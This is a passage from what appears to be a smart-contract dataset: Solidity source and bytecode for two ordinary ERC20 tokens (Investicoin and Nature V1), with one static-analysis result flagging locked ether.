function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
*/
contract ERC20Token is IERC20 {
using SafeMath for uint256;
string public symbol;
string public name;
uint256 public decimals;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
constructor() public {
symbol = "IVT"; // define token symbol here
name = "Investicoin"; // define token name here
decimals = 5; // define decimals here
_totalSupply = 20000000*10**decimals; // define total supply here with decimals
_balances[msg.sender] = _totalSupply; // set supply owner here
emit Transfer(address(0), msg.sender, _totalSupply); // set supply owner here
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert("Don't receive ether");
}
}
|
0x60806040526004361061009c5760003560e01c8063395093511161006457806339509351146102f657806370a082311461036957806395d89b41146103ce578063a457c2d71461045e578063a9059cbb146104d1578063dd62ed3e146105445761009c565b806306fdde031461010a578063095ea7b31461019a57806318160ddd1461020d57806323b872dd14610238578063313ce567146102cb575b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f446f6e277420726563656976652065746865720000000000000000000000000081525060200191505060405180910390fd5b34801561011657600080fd5b5061011f6105c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015f578082015181840152602081019050610144565b50505050905090810190601f16801561018c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a657600080fd5b506101f3600480360360408110156101bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610667565b604051808215151515815260200191505060405180910390f35b34801561021957600080fd5b5061022261067e565b6040518082815260200191505060405180910390f35b34801561024457600080fd5b506102b16004803603606081101561025b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610688565b604051808215151515815260200191505060405180910390f35b3480156102d757600080fd5b506102e0610739565b6040518082815260200191505060405180910390f35b34801561030257600080fd5b5061034f6004803603604081101561031957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061073f565b604051808215151515815260200191505060405180910390f35b34801561037557600080fd5b506103b86004803603602081101561038c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107e4565b6040518082815260200191505060405180910390f35b3480156103da57600080fd5b506103e361082d565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610423578082015181840152602081019050610408565b50505050905090810190601f1680156104505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561046a57600080fd5b506104b76004803603604081101561048157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108cb565b604051808215151515815260200191505060405180910390f35b3480156104dd57600080fd5b5061052a600480360360408110156104f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610970565b604051808215151515815260200191505060405180910390f35b34801561055057600080fd5b506105b36004803603604081101561056757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610987565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561065f5780601f106106345761010080835404028352916020019161065f565b820191906000526020600020905b81548152906001019060200180831161064257829003601f168201915b505050505081565b6000610674338484610a0e565b6001905092915050565b6000600554905090565b6000610695848484610b6d565b61072e843361072985600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d3b90919063ffffffff16565b610a0e565b600190509392505050565b60025481565b60006107da33846107d585600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dc490919063ffffffff16565b610a0e565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108c35780601f10610898576101008083540402835291602001916108c3565b820191906000526020600020905b8154815290600101906020018083116108a657829003601f168201915b505050505081565b6000610966338461096185600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d3b90919063ffffffff16565b610a0e565b6001905092915050565b600061097d338484610b6d565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a4857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a8257600080fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ba757600080fd5b610bf981600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d3b90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c8e81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dc490919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600082821115610db3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600080828401905083811015610e42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fea265627a7a7230582003a2b235f08cddc671fb134e4fd6d615bf32a9b5e241604f2fd45c570d43fdd264736f6c634300050a0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,289 |
0xc921b690e95ec36630c58a582df09639148dfa2b
|
// SPDX-License-Identifier: unlicensed
pragma solidity 0.8.4;
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
// ----------------------------------------------------------------------------
abstract contract ERC20Interface {
function totalSupply() virtual public view returns (uint);
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
function transfer(address to, uint tokens) virtual public returns (bool success);
function approve(address spender, uint tokens) virtual public returns (bool success);
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals
// assisted token transfers
// ----------------------------------------------------------------------------
contract NVC is ERC20Interface, Ownable {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public _maxSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() {
symbol = "NVC";
name = "Nature V1";
decimals = 18;
_totalSupply = 0;
_maxSupply = 2000000000 * (uint256(10) ** decimals);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public override view returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to receiver account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address receiver, uint tokens) public override returns (bool success) {
require(balances[msg.sender] >= tokens, "Insufficient funds");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[receiver] = balances[receiver].add(tokens);
emit Transfer(msg.sender, receiver, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public override returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from sender account to receiver account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from sender account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address sender, address receiver, uint tokens) public override returns (bool success) {
balances[sender] = balances[sender].sub(tokens);
allowed[sender][msg.sender] = allowed[sender][msg.sender].sub(tokens);
balances[receiver] = balances[receiver].add(tokens);
emit Transfer(sender, receiver, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function initTokens(address receiver) public onlyOwner returns (bool success) {
require(_totalSupply != _maxSupply, "Tokens already minted");
balances[receiver] = balances[receiver].add(_maxSupply);
_totalSupply = _maxSupply;
emit Transfer(address(0), receiver, _maxSupply);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb14610266578063cae2ec8314610296578063dd62ed3e146102c6578063f2fde38b146102f6576100f5565b806370a08231146101f0578063715018a6146102205780638da5cb5b1461022a57806395d89b4114610248576100f5565b806322f4596f116100d357806322f4596f1461016657806323b872dd14610184578063313ce567146101b45780633eaaf86b146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610312565b60405161010f91906111f3565b60405180910390f35b610132600480360381019061012d9190611080565b6103a0565b60405161013f91906111d8565b60405180910390f35b610150610492565b60405161015d9190611295565b60405180910390f35b61016e6104e6565b60405161017b9190611295565b60405180910390f35b61019e60048036038101906101999190611031565b6104ec565b6040516101ab91906111d8565b60405180910390f35b6101bc610797565b6040516101c991906112b0565b60405180910390f35b6101da6107aa565b6040516101e79190611295565b60405180910390f35b61020a60048036038101906102059190610fcc565b6107b0565b6040516102179190611295565b60405180910390f35b6102286107f9565b005b610232610881565b60405161023f91906111bd565b60405180910390f35b6102506108aa565b60405161025d91906111f3565b60405180910390f35b610280600480360381019061027b9190611080565b610938565b60405161028d91906111d8565b60405180910390f35b6102b060048036038101906102ab9190610fcc565b610b55565b6040516102bd91906111d8565b60405180910390f35b6102e060048036038101906102db9190610ff5565b610d2b565b6040516102ed9190611295565b60405180910390f35b610310600480360381019061030b9190610fcc565b610db2565b005b6002805461031f906113f9565b80601f016020809104026020016040519081016040528092919081815260200182805461034b906113f9565b80156103985780601f1061036d57610100808354040283529160200191610398565b820191906000526020600020905b81548152906001019060200180831161037b57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104809190611295565b60405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546004546104e1919061133d565b905090565b60055481565b600061054082600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaa90919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061061282600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaa90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506106e482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec090919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107849190611295565b60405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60045481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610801610ed6565b73ffffffffffffffffffffffffffffffffffffffff1661081f610881565b73ffffffffffffffffffffffffffffffffffffffff1614610875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086c90611255565b60405180910390fd5b61087f6000610ede565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600180546108b7906113f9565b80601f01602080910402602001604051908101604052809291908181526020018280546108e3906113f9565b80156109305780601f1061090557610100808354040283529160200191610930565b820191906000526020600020905b81548152906001019060200180831161091357829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b390611235565b60405180910390fd5b610a0e82600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaa90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aa382600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec090919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b439190611295565b60405180910390a36001905092915050565b6000610b5f610ed6565b73ffffffffffffffffffffffffffffffffffffffff16610b7d610881565b73ffffffffffffffffffffffffffffffffffffffff1614610bd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bca90611255565b60405180910390fd5b6005546004541415610c1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1190611275565b60405180910390fd5b610c6e600554600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506005546004819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051610d1a9190611295565b60405180910390a360019050919050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dba610ed6565b73ffffffffffffffffffffffffffffffffffffffff16610dd8610881565b73ffffffffffffffffffffffffffffffffffffffff1614610e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2590611255565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9590611215565b60405180910390fd5b610ea781610ede565b50565b60008183610eb8919061133d565b905092915050565b60008183610ece91906112e7565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081359050610fb181611564565b92915050565b600081359050610fc68161157b565b92915050565b600060208284031215610fde57600080fd5b6000610fec84828501610fa2565b91505092915050565b6000806040838503121561100857600080fd5b600061101685828601610fa2565b925050602061102785828601610fa2565b9150509250929050565b60008060006060848603121561104657600080fd5b600061105486828701610fa2565b935050602061106586828701610fa2565b925050604061107686828701610fb7565b9150509250925092565b6000806040838503121561109357600080fd5b60006110a185828601610fa2565b92505060206110b285828601610fb7565b9150509250929050565b6110c581611371565b82525050565b6110d481611383565b82525050565b60006110e5826112cb565b6110ef81856112d6565b93506110ff8185602086016113c6565b61110881611489565b840191505092915050565b60006111206026836112d6565b915061112b8261149a565b604082019050919050565b60006111436012836112d6565b915061114e826114e9565b602082019050919050565b60006111666020836112d6565b915061117182611512565b602082019050919050565b60006111896015836112d6565b91506111948261153b565b602082019050919050565b6111a8816113af565b82525050565b6111b7816113b9565b82525050565b60006020820190506111d260008301846110bc565b92915050565b60006020820190506111ed60008301846110cb565b92915050565b6000602082019050818103600083015261120d81846110da565b905092915050565b6000602082019050818103600083015261122e81611113565b9050919050565b6000602082019050818103600083015261124e81611136565b9050919050565b6000602082019050818103600083015261126e81611159565b9050919050565b6000602082019050818103600083015261128e8161117c565b9050919050565b60006020820190506112aa600083018461119f565b92915050565b60006020820190506112c560008301846111ae565b92915050565b600081519050919050565b600082825260208201905092915050565b60006112f2826113af565b91506112fd836113af565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156113325761133161142b565b5b828201905092915050565b6000611348826113af565b9150611353836113af565b9250828210156113665761136561142b565b5b828203905092915050565b600061137c8261138f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156113e45780820151818401526020810190506113c9565b838111156113f3576000848401525b50505050565b6000600282049050600182168061141157607f821691505b602082108114156114255761142461145a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f496e73756666696369656e742066756e64730000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f546f6b656e7320616c7265616479206d696e7465640000000000000000000000600082015250565b61156d81611371565b811461157857600080fd5b50565b611584816113af565b811461158f57600080fd5b5056fea2646970667358221220fe822b994c0702dfe7535604bd0f15e9cdd9cf9b67f864a895faa22610af414e64736f6c63430008040033
|
